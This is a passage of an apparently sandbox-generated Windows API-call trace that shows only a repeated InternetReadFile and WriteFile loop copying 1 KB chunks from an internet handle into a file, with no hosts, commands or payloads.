[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.484] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.484] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.485] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.485] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.485] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.485] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.485] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.493] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.493] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.494] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.494] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.495] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.495] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.496] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.496] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.497] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.497] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.498] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.498] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
[0061.499] WriteFile (in: hFile=0x53c, lpBuffer=0xe79ce4c*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0xe79ce34, lpOverlapped=0x0 | out: lpBuffer=0xe79ce4c*, lpNumberOfBytesWritten=0xe79ce34*=0x400, lpOverlapped=0x0) returned 1
[0061.499] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xe79ce4c, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xe79ce48 | out: lpBuffer=0xe79ce4c*, lpdwNumberOfBytesRead=0xe79ce48*=0x400) returned 1
